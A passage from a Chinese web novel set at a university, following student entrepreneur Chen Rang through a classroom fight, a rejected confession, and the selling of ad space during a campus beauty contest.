等学校几个保安干事赶过来时，那三个男生已经鼻青脸肿，也不知挨了多少拳脚。 带队干事进教室就黑着脸，让参与打架的全都跟他到保安室去，然后上报学院处理。 陈让看向那名年轻干事，先是自报了身份姓名，然后很强硬吐出两个字：“不去！” 年轻干事冷着脸：“哟呵，你说不去就不去啊，告诉你们，打架可不是小事，凡是动了手的，全都得挨处分！” 陈让选择杵了个腰，一副邪魅狂狷范儿：“处分不处分你说了可不算，让你们科长马杰克过来跟我说！” 年轻干事顿时被唬住。 首先一般学生就不可能认识他们科长。 其次陈让这颐指气使的姿态——满脸写着“老子上面有人”——味儿太他妈正。 对峙一阵，他败下阵来，选择了给马杰克打电话。 “科长，有学生打架，您过来一趟……” “我们自己处理？处理不了啊，有个叫陈让的学生拦着，指名道姓要您过来……” “什么，您还真认识啊，马上过来？哦，好的！” 又十来分钟，马科长到了现场。 马杰克看向陈总，表情哭笑不得。 “陈让，怎么又是你小子啊，到底怎么回事儿？” 蜀州大学堂堂九八五，一年也出不了两次打架殴斗事件。 结果最近一个月就出了两次——而且每次都跟某人强关联。 但是马科长没敢发火。 第一，这小子还真是个关系户。 上次“陈让”挨揍了，孙副校长堂堂蜀大常务副goat，竟是亲自打电话过问，关心的不行。 那架势，仿佛他是这小子干爹。 第二，这小子现在可是蜀大创业明星。“众众网”多火爆啊，从聂老校长到孙副校长，再到经济学院的王老院长和刘副院长，提起这小子，全都赞不绝口。 马科长为什么知道这些？ 上面专门跟他打过招呼。 以后凡是“星环科技”这边，需要保安科出马的，一定要随叫随到。 “马哥，这你可冤枉我了，这事儿可跟我没关系，具体来说是这样的……” 陈总向来都是看人下菜。 跟那几个年轻干事摆高姿态，面对马杰克这个有正规编制的正科级干部，却开始“倚小卖小”了。 一口一个马哥叫着，把事情囫囵说了一遍。 马科长早看出来陈让想护犊子，甚至金融一班这几个男生敢动手，就是因为有他撑腰，但他还真不敢得罪陈让。 再者那三条棒槌虽说被打得很惨，但是绝对没有什么大伤，够不上刑事案件——这就有了“和稀”泥的基础。 沉吟至此，他试探着问：“咳，陈让，那你说说，这事儿该如何处理？” “马哥，事情不是已经很清楚了么，这三个棒槌闯进我们班自习室，非礼我们班学生，我们班同学见义勇为，制止了他们的非礼。” 陈总长眉一挑，极尽夸大之能，看着那三条棒槌。 “这事儿要传到他们三个的学院，怕不是背处分那么简单，恐怕会被直接开除的哦。” 第106章 喜欢也没用、没用也喜欢 第一百零六章 喜欢也没用、没用也喜欢 三个男生听到这里，全都吓傻，脸色白如石灰。 本质上都是毫无社会经验的小年轻，完全被陈总唬住。 牵头那个吞了口唾沫，壮着胆子咕哝：“同学，你……你别血口喷人，米莱是我前女友，我是打了她一巴掌，但是我绝对没有非礼她！” 陈让狠狠瞪他一眼：“有你说话的份儿？” 此人立马闭嘴，甚至还缩了缩脖子。 给吓得。 未来大帝，跟你闹呢？ 陈总两辈子养出来的气势，绝对不是一个普通学生可以抗衡。 马科长肯定知道陈让在危言耸听。 不过他如了陈总所愿，站出来唱-红脸。 “咳，依我看，这事儿就用不着上报了吧，要是把矛盾闹到学校层面，这三个年轻人怕是读不成书了，给他们一个机会吧……” 陈让继续装腔作势：“马哥，那你得问问这三个棒槌啊，刚不叫嚷着要报警的么？赶紧报啊，我们班所有同学都是人证，米莱脸上的巴掌印就是物证，我看警察到了，信他们还是信我们！” 三个男生早都吓绥，私底下商量一番后，牵头那个怂怂的说：“同学，算你狠，我们认了，这顿打就算白挨……” 说完互相搀扶着就想离开。 “等一下——”陈让冷喝，“跟米莱道完歉才准走！” “你——” 终究没抗住，三人上前跟米莱道了歉，然后灰头土脸的离开。 作为当事人之一，米莱走到陈让面前，郑重跟他说了句“谢谢”，甚至还鞠了一躬。 陈让没有回应，甚至还给了她一个大白眼。 如果米莱不是金融一班的，他不是班长，这事儿他绝对不管。 这场突发事件到此为止。 “难怪……陈让这家伙在班上同学中威望那么高了，就是太轻浮……” 默默旁观的白鹭，心里起了些涟漪，却也仅限于此。 以白鹭同学能够稳压米莱一头、都快赶上夏灵珊跟赵兰蕤的颜值，打小就不缺乏男生围着她转，心气高得很。 陈让没想到，金融一班自习室的打架事件，终究没能捂住。 没引起学院注意，却在学生中传开了。 不奇怪，蜀大这种九八五，一年也发生不了几次打架斗殴事件。 辅导员严国栋也听说了，过没多久就火急火燎赶来了，把参与动手的徐国翀和王子聪等人，狠批了一顿。 措辞极为严厉。 哥几个脸色煞白。 陈让却是松了口气。 骂好啊，骂说明严国栋没打算真拿哥几个如何，而是打算护犊子。 要真是个冷血自私怕担责任的辅导员，绝对不会这么生气的，只会把事情原原本本捅到学校。 最终结果如陈让所料，不痛不痒写份检讨就算完了，其他啥事儿没有。 当然这也跟陈让把保卫科搁平了有大关系。 马杰克一直在跟严国栋暗示，说这事儿他们没打算上报，严国栋自然有胆子瞒下来。 训完哥几个，严国栋单独叫住了陈让。 “严老师，有何吩咐？” “陈让，当老师不知道啊，就是你小子唆使徐国翀、王子聪他们几个动手的！” “严老师，我们讲道理，那三条棒槌都冲到咱班自习室打人了，还能让他们全须全尾的出去？我可不想未来四年都被人笑话啊——瞧，这货就是金融一班班长，班上女生被人冲进本班自习室打了，却连屁都不敢放一个！” “陈让，你先别跟我扯歪理，我也没打算拿你如何，事实上我一个小小的辅导员，也没资格拿你这个蜀大创业明星如何……我就是觉得今天这事儿，办得不像你，你小子什么人，事不关己绝对高高挂起，怎么的，有英雄救美的成分？” “噗，怎么可能，哪怕我是英雄，米莱她也不算美女。” “……” 严国栋脸颊抽了抽，刚想怼句你小子眼瞎啊，人家小米同学好歹是系花，校园女神大赛都能跻身前二十名的，但是发现怼不动。 这小子的女朋友，可是隔壁经济系的林静姝。 跟那位天仙少女比，米莱哪怕是美女，她也美得很朴素。 辅导员走后，站在自习室外，陈让自己也愣了一下。 今天这事儿干得确实不像他。 要按自己向来的行事风格，绝对不会唆使徐国翀和王子聪他们几个打人，只会直接上报学院。 难道自己真色迷心窍了在英雄救美？ 陈总很快给否了——可以笃定自己对米莱没有任何想法。 突然想起一件事。 前世上大学时，也曾遇到过类似事件，且比今晚严重许多。 班上有个跟米莱差不多类型的女生，也是因为感情纠葛，被一个男生冲进教室给捅了。 当时陈让就坐在这个女生身后。 想过站出来制止，最终没有付诸行动。 或许是觉得不值当。 更可能是怂。 总之那个女生被捅死了。 事后陈让也曾有过后悔。 如果当时自己站出来制止，那个女生会不会不用死？ 但是心里这点后悔很快被庆幸取代——还好自己没站出来，不然很可能发展成自己被捅。 思来想去，陈让觉得自己今晚这么夯，大概率跟这件事有关。 唇角有了些自嘲。 看来对这件事自己终究还是有点内疚。 他的确是个内心柔-软的人。 说回今晚——他只希望米莱能够吃一堑长一智，以后别再搞类似的幺蛾子。 再有的话，拿枪比着脑袋，也不可能再帮她出头。 “滴滴。” 此时陈让收到一条短信——赵兰蕤发给他的。 “听说你们班自习室打架了，你没事儿吧？” 陈让有些诧异。 没想到这事儿能传到法学院那边。 只能说这就是大学生，太喜欢吃瓜。 春熙路事件陈让觉得非常尴尬，同时也察觉到了赵兰蕤对他的喜欢。 虽然陈让搞不懂自己凭什么能让赵兰蕤喜欢。 但他没打算当渣男。 毕竟他叫陈富贵，不叫陈汉生。 于是开始隐晦却坚定的跟赵兰蕤保持距离。 消息一样回，只是方式变了。 以前赵兰蕤问他吃饭没，陈让会这么回：“吃了，你呢？” 现在则变成了：“吃了，正打算去上自习。” 以赵兰蕤的高情商，知道他要去上自习，大概率不会再发信息。 这阵子赵兰蕤约过他好几次，他也都找理由拒了。 相信一直这么冷处理下去，这姑娘对自己那点情愫终究会淡化。 陈总有清晰的自我认知。 魅力他大概是有的，但是绝对不多。 “是打架了，不过问题不大，也跟我没啥关系……” “我在你们班自习室外，出来吧，让我看看你，不然我不放心。” 陈让微微皱眉。 就这么点事，赵兰蕤居然会跑过来看他？ 算算时间——以及法学院跟经济学院的距离，怕是刚听说就火急火燎往这边赶。 似乎低估了这姑娘对他的上头程度？ 陈让仔细思考后，决定待会儿跟赵兰蕤挑明。 她是个好女孩，但是轮不到他来珍惜。 陈让出了自习室，很快在走廊看到了赵兰蕤。 还是清新又时髦的装扮，两条大长腿格外夺目，额尖鬓角有些汗渍——竟是一路跑过来的。 赵兰蕤看到某人后展颜一笑。 “陈让，吓死我了，生怕你就被打了。” “谢谢你大老远的来看我啊，散个步？” “好吖。” 长天冷月之下，两人环绕莫愁湖，边散步边聊天。 “那天买的茶具和围巾，你那位长辈喜欢吗？” “喜欢啊，这事儿还得感谢你。” “陈同学，光口头感谢可不是你的作风，你应该说，赵同学，我请你吃个饭吧。” 赵兰蕤就是这样的姑娘。 爱与憎都格外分明。 要么就不喜欢。 喜欢了就只会越来越喜欢。 “请吃饭没问题啊，不过我得先问你个问题——” 赵兰蕤这种类型的女孩子，任何男人应该都不会讨厌。 如果没有提前遇到林静姝，陈总觉得，自己或许真的会跟她谈一场恋爱，甚至修成正果。 可惜没有如果。 所以明知道会很尴尬，还是决定把话给挑明。 “陈同学，你问。” “你是不是喜欢我？” “额——” 赵兰蕤卡壳。 两秒过后她就点了点头。 喜欢就是喜欢，没什么好掩饰。 她可不会觉得先承认自己对陈让的喜欢，往后相处中就会低他一等。 飞蛾扑火是挺傻。 但是飞蛾又有什么错？ 飞蛾只是喜欢光。 陈让叹了口气。 “其实我也挺喜欢你。” 赵兰蕤心脏漏跳一拍。 此刻她觉得上苍对她是眷顾的。 初中到高中，拒绝了那么多男孩子，毕竟值得。 因为有个如星辰般闪耀的男孩子在大学等着她。 赵兰蕤感觉嘴巴有些干。 心里痒痒，似乎在被羽毛拨弄。 “但是——”陈让却是话音一转，“只是朋友那种喜欢。” 赵兰蕤脸色瞬间苍白。 她怔怔看着某人。 “为什么？” “我已经有喜欢的人了，认识她在认识你之前。这段时间，我大概能够感觉得到你对我的喜欢，老实说，我还有些暗爽……毕竟……你是那样优秀的女孩。” 陈让吐出一口浊气。 “赵同学，正因为你是个好女孩，所以我必须把这个事跟你说清楚。” “女孩子的青春多宝贵，千万别耽搁在我身上。” “认识她、在我之前？” 赵兰蕤明丽的大眼睛，分明泛起了水雾。 “陈让，你是说夏灵珊？” “我知道她是你的白月光，也知道白月光对一个男人有多大的杀伤力。” “但要是输给了她，我真的不服，也真的不甘。” “她或许已经改变了，也真的知道你有多好了，但我并不觉得她能有我这么喜欢你。” “所以——” 赵兰蕤眼神变得坚定，眉宇间也多了执拗。 “陈让，喜欢你是我的事，跟你又有什么关系，我不会就就这么退出的。” 毕竟不是铁石心肠。 赵兰蕤的这番话，终究让某人动了容。 但还是那句话——可惜没有如果。 “不是夏灵珊，而是一个让我觉得她出现时光有了形状、心动有了定义的女孩子。” “赵兰蕤，非常感谢你的喜欢，可惜我并不能给你任何回应。” “趁什么都还没开始，早点抽身吧，希望你以后能真正的去攀一座山，去爱一个人。” “这个人不会是我，不能是我，也不该是我。” 不是夏灵珊，而是另一个女孩子。 赵兰蕤陷入沉默。 她的沉默，不是某个诗人见异思迁的康桥，而是莫愁湖畔过于清冷的月色。 终究意难平了。 对陈让来说确实什么都没发生。 于她而言故事却早就开始。 因为容貌姣好，性格温柔，她从小就被许多人喜欢。 初中开始，许多少年就用各种方式对她表露爱意，以各种方式吸引她的注意。 她对这些并不感冒，只觉得他们幼稚。 她相信自己的坚守值得，笃定未来会遇到一个星辰般耀眼的男孩子，配得上她所有的坚守。 然后就真的遇见了。 先是舅舅口中的不吝赞美，接着就是火车站的偶遇。 高高瘦瘦，白白净净，身上有着同龄人中罕有的沉稳，却也不乏恰到好处的幽默。 更关键之处——他有颗柔-软的心。 这或许才是真正打动她的地方。 赵兰蕤第一次对异性有了兴趣。 她没有如其他少女般矜持，而是落落大方的接近。 后来多了夏灵珊这个波折。 赵兰蕤没有退缩。 因为她并没有感觉到多少夏灵珊对陈让真正的喜欢。 反而觉得夏灵珊缠着陈让，更像是病态的傲娇在作祟。 她怎么可能输给这种选手？ 事实也是如此。 跟夏灵珊的几次交锋，她都游刃有余，甚至稳居上风。 与生俱来的高情商，让她很轻易的就能把夏灵珊搞破防。 按照这样的脉络发展下去，她跟陈让走到一起就该是水到渠成。 可是今晚，奈何此刻—— 陈让态度明确告诉她，他跟她没有可能。 他心里早就住了一个人，一个能真正将他治愈的宝藏女孩。 为什么不是自己，为什么不能是自己？ 终究还是不甘。 赵兰蕤很快调整好了心态。 她笑了笑，看着满脸歉意的某人。 “陈让，我接受你不接受我这个事实，但你也没有权利剥夺我喜欢你的权利，起码我们还是朋友吧？” “当然，我们一直会是朋友。” “找个时间，带我见见那个女孩？我就想弄明白-自己到底输在哪儿了。” “赵同学，你没有输给任何人，神雕侠侣看过吧，郭襄也不是输给小龙女的……” 赵兰蕤不说话，只是定定看着某人。 “好吧，找个机会，一起吃个饭，你肯定不会讨厌她。” “陈让，你对你的宝藏女孩，评价真的很高，所以……我更好奇她是怎样的人了。” 又散了会步，两人挥手道别。 跟赵兰蕤把话说开了，回宿舍的路上，陈让觉得特别轻松。 上辈子的他，吃够了感情苦，上够了爱情当，他比大多数人都知道被人吊着有多难受。 商海浮沉许多年，他的心早就脏透。 但对感情他是认真的，就想求个从一而终。 快走到宿舍时，陈让收了条QQ消息，以为是赵兰蕤或者林静姝给他发的，结果是米莱。 “班长，我买了些酒，能陪我喝点吗？” “喝个屁。” 陈让回了一句后再不理会。 跟某人分别后，赵兰蕤并没有回宿舍，而是一个人瞎逛。 刚才陈让跟她说，让她趁早抽身，好好去攀一座山，去爱一个人。 可她已经见过昆仑，又如何能对别的小山头提得起兴趣？ 冷不丁的想起了一句话。 “人年少时不能遇到太过惊艳的人。” 走着走着，逛到了二操场。 此时操场已经熄灯。 边上路灯昏黄光线倾洒进去，渲染出朦胧美感。 鬼使神差，她走进操场，蓦地看到一个画着烟熏妆的女孩子，坐在草坪上独自喝酒。 女孩显然有心事，啤酒一罐一罐的喝。 赵兰蕤微微皱眉——这个女孩她见过的。 还记得那次见面，这个女孩儿误会陈让喜欢她，然后被自己跟夏灵珊联合起来怼到自闭，狼狈不堪的落荒而逃。 沉吟片刻，她走了过去。 “没记错——你叫米莱吧，陈让班上的。” 米莱先是有些诧异，看清楚后苦笑。 “是你啊，法学院的赵兰蕤。” “怎么一个人喝这么多酒，还有——你脸怎么了？” 米莱没有说话，自顾自喝酒。 其实赵兰蕤已经猜到了。 刚才金融一班自习室的打架事件，米莱恐怕就是女主角。 “赵兰蕤，如果你是在看我的笑话，那你已经看到了，能给我些私人空间吗？” 赵兰蕤没有走，而是挨着米莱坐了下来。 “一个人喝有什么意思，能请我喝两瓶么？” “自己拿。” 赵兰蕤还真就没客气。 喝着喝着，俩姑娘开始碰杯，然后聊天。 酒这个东西，的确能很快拉近人跟人的距离——这个从俩姑娘对彼此的称呼就看得出来。 “小米，你有没有发现，酒喝进肚子里，事藏在心里，中间始终隔了一层，所以怎么喝都不会醉？” “蕤蕤，你的心事是什么？” “先说说你吧——” “我们班自习室刚才打架了，听说了没？” “听说了，没猜错的话，跟你有关……” “他是我初恋……” “所以……这就是你喝闷酒的原因，因为你的初恋？” “怎么可能——”米莱嗤之以鼻，“他就是个被家里面宠坏的小少爷，为他哭？他也配！” “那是为什么？” “因为班长，他不理我，我再怎么主动他都不理我，他觉得我是坏女孩。” “班长……你是说陈让？” “对啊，班长那么优秀，我对他上头有什么奇怪的……蕤蕤，你陪我在这儿喝闷酒，不也是因为班长？” 赵兰蕤苦笑。 原来她跟米莱，都是因为陈让在喝闷酒。 倒也符合逻辑。 这个家伙确实有这样的魅力。 “我肯定没戏了，班长表面上看着平易近人，其实内心傲得很，他既然觉得我是坏女孩，这辈子都不会正眼瞧我的，你不一样，蕤蕤，你是个好女孩，班长肯定也是喜欢你的。” “他要真喜欢我就好了，这家伙刚才还跟我散步呢，明确拒绝我了……还跟我说什么，趁着什么都没发生，让我赶紧抽身，去努力攀一座山，真正爱一个人……你说这家伙怎么就那么好呢？哪怕他渣我一下，给我一段曾经拥有，将来我大概也不会恨他。” “蕤蕤，班长就是这样的啊，他明明很讨厌我，我被打了，却还是护着我……你想吖，他要没有那么的好，你也不会那么喜欢他的。” “也对……小米，我纠正一点啊，你也是个好女孩。” 米莱捂着嘴巴，突然就有些想哭。 非常感激赵兰蕤给她的尊重。 坏女孩，也不是开始就是坏女孩的。 长天冷月之下，两个失落的女孩儿互相依偎、彼此取暖，一罐一罐喝着酒，很快就都烂醉如泥，说起了胡话。 “蕤蕤……你说天上的月亮，它怎么就能那么亮呢？” “亮有什么用？” “没用它也亮。” “小米，我真的好喜欢陈让，不过他都不喜欢我，我喜欢他有什么用……” “没用你也喜欢！” “切——你不也一样！” 【笔者按：别刷陈汉生，这句话李诞写的。】 第107章 何况还有个美呢 第一百零七章 何况还有个美呢 又是几天过去。 校园女神大赛已经进入白热化阶段——小组赛结束，淘汰赛开启。 陈总各种骚套路加持之下，大赛发展到这个阶段，可谓繁花似锦、烈火烹油。 最大利好是成功出圈。 蜀大校园内，哪怕不是众众网用户，也开始讨论这个比赛。 靠着这波流量，给大赛冠名的“呦茶”也跟着火爆了，每天销售额都在刷新峰值。 生意如此之好，呦茶却也没有降低品控，始终做到保质保量。 这场泼天富贵呦茶算是接住了。 守恒定律无处不在——有人欢喜就有人忧愁。 譬如对面学院超市的老板王喜凤，这几天就把陈总骂翻天了，也不知道卷了他多少句“仙人板板”和“龟儿子”。 呦茶把她家奶茶店生意近乎都给撬走，直接从门庭若市变成门可罗雀，参差感如此之大，凤姐怎生受得？ 陈总没有天眼通，当然不知道王喜凤这几天都在“卷”他。 就算知道了，大概也只会给她一记“大荒囚天指”。 瓜婆娘自己屁儿心心烂完咯，天天整些潲水给祖国栋梁吃，还有脸卷老子？ 随着呦茶生意日趋火爆，蜀大周边许多商家也都开始议论。 “给众众网冠名的效果这么好的？妈的，后悔了，早知道当时我就多出点钱，把冠名权拿下来了……” “老刘，你就胡吹大气吧，当时泰来驾校出到了十万都没能拿下来，你舍得花这么多钱，给你那破电瓶车店打广告？” “十万都没拿下来——那呦茶拿下冠名费花了多少钱？” “宣传的是四十万……不过我通过关系去打听了，真实价格没这么高，也就二十八万八……” “也就？老杨，你有点膨胀哦，虽然你天天买彩票，但也没见你中头奖啊。” 类似对话发生在许多商户之间。 在这个物价还没有飞涨的时代，接近三十万是什么概念？ 蓉城市区首付一套三居室！ 郊县全款买套房还能剩点钱搞装修！ 这个价格把商户们都吓了好大一跳。 但是呦茶生意持续火爆却也惹得他们眼红。 考研二人组总结得好——没得投入，哪有产出？ 看呦茶这架势，这笔天价冠名费一两个月就能赚回来。 不少有财力的商家肠子都快悔青。 早知众众网流量这么大，学生们消费能力如此强，就该硬着头皮上！ 其实这些还在拍脑袋的商家都没眼力见儿。 真正有魄力的、早就去“光明顶”找陈总打广告了。 冠名权没戏。 但是能在女神大赛专题页面搞个横幅广告，宣传效果不也杠杠的？ 专题页面适合打广告的地方就那么多，属于一个萝卜一个坑，肯定要先下手为强。 此时陈总正窝在“光明顶”，盯着女神大赛专题页面。 知道大赛进入淘汰阶段后会很火爆，却没想到会这么火爆。 当然这也有内容部疯狂带节奏，导致各大院系都吵出真火有很强关联。 谁是校园女神本身就唯心。 你觉得法学院赵兰蕤好看，我还觉得是外国语学院夏灵珊漂亮。 因为林静姝被陈总雪藏——夏灵珊跟赵兰蕤成了眼目前人气最高的两位选手。 不出意外冠军也会在这两人中产生。 无论冠军是谁陈让都能接受。 无关私心。 这两人颜值气质都够，配得上蜀大校园女神的称号。 陈让担心的是三、四名会后来居上。 土木院和机电院，这俩和尚院的老哥们，集体荣誉感实在太强。 土木院硬生生周诗雨投到了第三。 机电院老哥也很有战斗力，把他们学院一个叫“姜晓萌”的妹子抬到了第四。 这俩姑娘的颜值该如何描述？ 如果周诗雨是“有种朴素的美”，那么姜晓萌就是“美得很朴素”。 要放法学院、外国语学院、经济学院这种妹子很多的学院，别说院花，班花都够呛。 不过俩妹子在土木院和机电院还真就是宝贝中的宝贝——这就叫物以稀为贵。 “不行，绝对不能让周诗雨或者姜晓萌夺冠，真这样就成闹剧了……” 陈总办校园女神大赛，部分思路来自虎扑论坛。 虎扑本身是个深耕篮球领域的体育网站，颇为小众，后来靠着每年举办一次的虎扑女神大赛出圈，吸了不少流量。 前面几届都挺好。 第一届贾静雯，第二届邱淑贞，第三届高圆圆…… 风情各异，不过都是大美女。 直到网友们整活儿，最近一届把“战鹰”选成了女神，大赛就成了个好大的笑话。 陈总现在担心的就是这个。 周诗雨或者姜晓萌……要真让这两位成了蜀大女神，外校不得笑死。 “阿飞——你们内容部这几天多带下节奏，多吹一下赵兰蕤跟夏灵珊，顺道打压打压周诗雨跟姜晓萌……” “好的。” 几分钟后，内容部哥几个开始啪啪啪敲键盘带节奏。 陈总伸个懒腰，正准备趴桌上打个盹儿，却有人来拜访。 一个胖胖的中年妇女，风风火火闯进“光明顶”，进门就问谁是老板，她要打广告。 员工们眼瞳顿时一亮。 主动上门打广告的——这位胖阿姨可是第一个。 “姐，我就是老板，快坐——” 闻到了金钱的恶臭，陈总立马没了困意。 满脸堆笑迎上，亲自搬了凳子。 论年纪该叫阿姨的，不过陈总情商多高，张口就是“姐”。 胖阿姨显然很满意陈总的称呼。 “弟弟，你真是老板？这么年轻的，果然英雄出少年！我学院广场那家蛋糕店的老板，想找你们打个广告……” “姐，好说——” 陈总早有准备，立马拿出了价格表。 胖阿姨看完，明显吓了一跳，不住倒吸凉气。 “嘶嘶——你们这收费也太贵了吧，我要卖多少蛋糕才能回本？” “姐，没有投入，哪有产出啊，我们网站流量有多大不用我说吧？呦茶给我们冠名，现在生意有多火爆，您也看得见吧？再说现在哪有广告位啊，我们这都是大棚的广告位……” “喵喵喵？” “我的意思是说，您今天来问是这个价，明天怕就是另一个。” “弟弟，我是真心想找你们打广告的，就不能打个折？” “单子上有说啊，第二份八折，意思就是您第一份广告周期结束后，要觉得效果好，想找我们续费，就能够享受折扣。” “能不能直接给我打八折？我这都小本生意，没那么多流动资金……” “姐，这个就爱莫能助了，规矩就是规矩，定下来就要遵守。” “这——” 对话至此，胖阿姨明显犹豫。 又舍不得钱，又眼红众众网的流量——呦茶一家新开的奶茶店，门店位置还那么偏僻，生意却能那么好，靠的可就是给女神大赛冠名！ 陈让摸了摸下巴。 好歹是第一个主动上门打广告的商家，他挺想做成这单生意。 但是要他降价绝对不行。 这个先例就不能开。 一个打八折，岂不是个个都要打八折？ 胖阿姨显然是个人精：“弟弟，你就给我打个八折吧，我发誓，绝对不跟任何人说！” 陈让无动于衷。 赌咒发誓？ 他可不信这玩意儿。 人类在不需要付出代价时基本不会有操守。 讲道理嘛，如果赌咒发誓有用，做生意还用得着签合同？ 眼瞅要谈崩，陈让有了个主意。 “姐，其实还有个法子——既能给你打八折，我也不用坏规矩。” 胖阿姨稍抬起来的屁股立马又放下，洗耳恭听状。 “规矩是死的，人是活的。你要能找个商家，也来我们众众网打广告，那你不就成了第二份？” 胖阿姨眼睛顿时一亮——好鸡儿有道理！ 心动不如行动。 立马掏出电话拨了出去。 “喂，张姐，我在众众网总部，我跟你说，咱们学校周边、好多商家都来这里打广告了，广告位都要卖完了，你啷个搞起呐，居然没来打广告？” “啷个龟儿子骗你嘛，人多得很，门槛都要踩烂求……啥子？马上来？搞不赢了哦，广告位马上就卖完，这样嘛，我先给你垫起，爪子也要给你抢个。” “改天请我吃饭？嗨，你我姐妹啷个跟啷个，说这些！那就说定了撒，我先帮你缴费！” 等胖阿姨挂了电话，陈总跟她相视一笑，仿佛狼遇见了狈。 PY交易达成后，陈总并没有任何负罪感，甚至觉得自己胸前的红领巾更鲜艳。 讲道理，这事儿属于三赢。 他一下子卖出去了两份广告。 胖阿姨得到了想要的八折优惠。 张姐却也不亏——众众网每天都在涨的流量，女神大赛烈火烹油的热度，绝对不会让她失望。 胖阿姨走后，员工们纷纷吹起陈总的彩虹屁。 “老板就是老板，牛逼，牛逼克拉斯！” “服就一个字，我不止说一次，我他妈天天说！” “以后再不扶老奶奶了，打今天起就只有老板能让我心悦诚服！” 陈总表示挺受用。 好听，爱听！ 不过员工们的彩虹屁，并没有吹多久就被打断——又有人上门了。 却不是来打广告，而是来找茬儿。 十几个男生，乌泱泱一片，个个肤色黝黑、基本牛高马大，眼神更是凶的不行。 陈让皱了皱眉，正准备问这群大哥有何贵干，为首一个壮汉先开了口。 “这里是众众网总部吧，我说你们搞得什么破几把比赛，写的什么狗卵子专题？我们土木院的周诗雨，不说沉鱼落雁、那也是闭月羞花，结果你们却说诗雨妹妹‘有种朴素的美’？” “老子今天来这里就是想问问，这句话是哪个龟儿子写的，有本事就站出来，看老子KAO不KAO他个哈麻皮！” 其他男生跟着骂骂咧咧。 “朴素？老子朴素你二大爷，这是在故意针对我们土木院？” “吃了熊心还是豹子胆啊，敢惹我们土木院，搞事儿之前不知道去打听打听，整个蜀大我们土木院怵过谁！” 陈总心里略微咯噔。 难怪一个比一个暴躁，感情都是土木老哥。 也勉强弄清楚了怎么回事。 大才子历飞雨惹的祸。 这小子也不知道怎么想的，前几天写女神专题时，那么多好词不用，非给土木院的院花周诗雨，整了句“有种朴素的美”。 显然人家“周女神”破了大防，“纤纤玉指”一挥，便有许多土木老哥如臂指使、上门讨要说法。 历大才子原本正在敲键盘，此时哪里还敲得下去。 明显有些吓到，帅脸惨白惨白。 根本不敢跟这群暴躁模式的土木老哥们对视。 陈总当然得站出来接招。 起身走到为首者面前，让他们有话好好说——咱们九八五大学生有素质的，何至于此。 “小子，你谁啊，专题你写的？” 为首壮汉乜着眼，姿态依旧很嚣张，压根没把陈让放在眼里。 人家也的确有这个资格。 一米九往上的个头，体重接近两百斤，身上肌肉不明显，却不是虚胖，而是脂包肉。 经常打架的同学肯定知道，肌肉男不一定猛，这种身材却是真厉害。 古代那些个冲锋陷阵、斩将夺旗的猛将，基本都这种体型。 “我叫陈让，星环科技老板，这位学长怎么称呼？” 陈总淡淡回应。 打架他肯定打不过这个猛将兄。 却也不至于怕。 讲道理，这里是学校，土木老哥们再暴躁，也不可能说一言不合就把他打成小饼饼。 能考得上蜀大的，就不可能真没脑子。 如陈总所料，在他爆出身份后，猛将兄态度缓和了不少。 “陈学弟，我叫楚雄，土木工程学院篮球队的队长，说实话我还是挺佩服你的，才大一就搞了这么火一个网站……” “我也不是故意来找茬的，是你手底下有些个夯货太他妈气人，诗雨妹妹那么好看，我们土木院当之无愧的院花，那小子写个专题，却非说诗雨妹妹‘有种朴素的美’，换学弟你也不能忍的吧！” “是是是，这事儿是我们没整对，楚学长您稍安勿躁，我来处理……” 陈总继续安抚着楚雄，然后瞥了一眼历大才子。 “飞雨，也不是我说你，怎么能那么形容周学姐呢？赶紧把评语改了，把你平时那些个词汇……‘北方有佳人，遗世而独立’，‘沉鱼落雁’，‘闭月羞花’，‘倾国倾城’，诸如此类，都给咱们周学姐加上！” 这番话给楚雄都听着有些不好意思。 他摸着后脑勺。 “学弟，倒也用不着加这么多……” 历飞雨这小子却是犯轴了，梗着脖子说： “老板，你要加自己加，反正我不加……你说的这些词儿，拿来形容老板娘还差不多，周学姐……她不配！” 陈让：“……” 要换其他人，敢这么跟他杠，陈总早大手一挥将他优化。 呵呵哒，你不干有的是人干！ 但是历飞雨不行。 人家有大才，文笔之好，放眼整个蜀州大学怕也是无出其右。 那十多篇带来莫大讨论的女神专题，超过一半都他写的，不说字字珠玑，那也妙笔生花——当然土木院周诗雨那篇除外。 周学姐也是倒霉，恰好碰到了历大才子被林大美人论外级别美貌硬控后的犯轴。 她的专题真就只有六个字——有种朴素的美。 虽说女神专题已经写完，但是往后用得着人家历大才子的地方可多了去，陈总必须得哄着。 “飞雨，真没法改？” “老板，我真的没办法说服我自己，我觉得我给周学姐的评语，非常的客观……” “焯——” 于是土木老哥们再次炸毛。 楚雄指着历飞雨，第一个开骂：“客观，你客观个锤子啊你客观，你小子见过西施还是见过貂禅啊？” 其他老哥紧随其后。 “小子，你他妈就是瞧不起我们土木院！” “改不改？不改真削你！” “什么玩意儿，给脸不要脸！” 文艺青年很容易钻死胡同。 历飞雨此刻就是如此。 明明很害怕，却还是犟着，说什么都不肯改。 氛围变得箭拔弩张。 好几个土木老哥开始撸袖子。 陈总边拦着边思考着如何解决。 一时半会儿却也想不出方案。 撇开历飞雨，让其他人改？ 以历飞雨的轴劲，铁定尥蹶子不干，那可是个不小损失。 眼前这帮暴躁的土木老哥，却也不好相与。 正在此时，“光明顶”大门被推开，某位学神少女娉婷而来。 脚上是一双酒红色小皮鞋，将小腿衬托的格外纤细。 视线再往上，腰肢纤细，胸怀伟岸，脖颈白-皙。 最惹人眼目、自是那张纵使无情也动人的鹅蛋脸。 嘴巴到鼻子、眼睛到眉梢，竟无一处瑕疵，哪哪儿都恰到好处。 她款款而来，眼瞳清清冷冷，散发着无形气场，仿佛姑射山上的神女莅临人间。 土木老哥们瞬间就不暴躁了。 眼中一半茫然、一半惊艳。 沉鱼落雁、闭月羞花！ 一顾倾人城，再顾倾人国！ 天然一段风韵，全在眉梢；平生万种情思，悉堆眼角！ 若教解语应倾国，任是无情也动人！ 讲道理的话，这些个字句，放在这位身上才叫贴切。 至于他们土木院的周诗雨，跟这位比的话，“有种朴素的美”都算是抬举。 压根就是类人猿嘛！ 陈让有些疑惑：“呦呦同学，你怎么来了？” 林静姝亮了亮自己提着的塑料袋：“陈让，我给大家买了些水果。” 显然某位学神少女的“老板娘瘾”又犯了。 “好吧……那你先自己坐会儿，我这处理些事。” 说完转头看向楚雄为首的土木老哥。 “楚学长，什么情况你也看到了，我这有点为难啊，要不你们先回去，我再做一做历飞雨这小子的工作……” 先前还气势汹汹的土木老哥们，此刻却都没了气焰。 “有种朴素的美……” “陈学弟，我突然觉得……这个描述还是比较贴切的。” 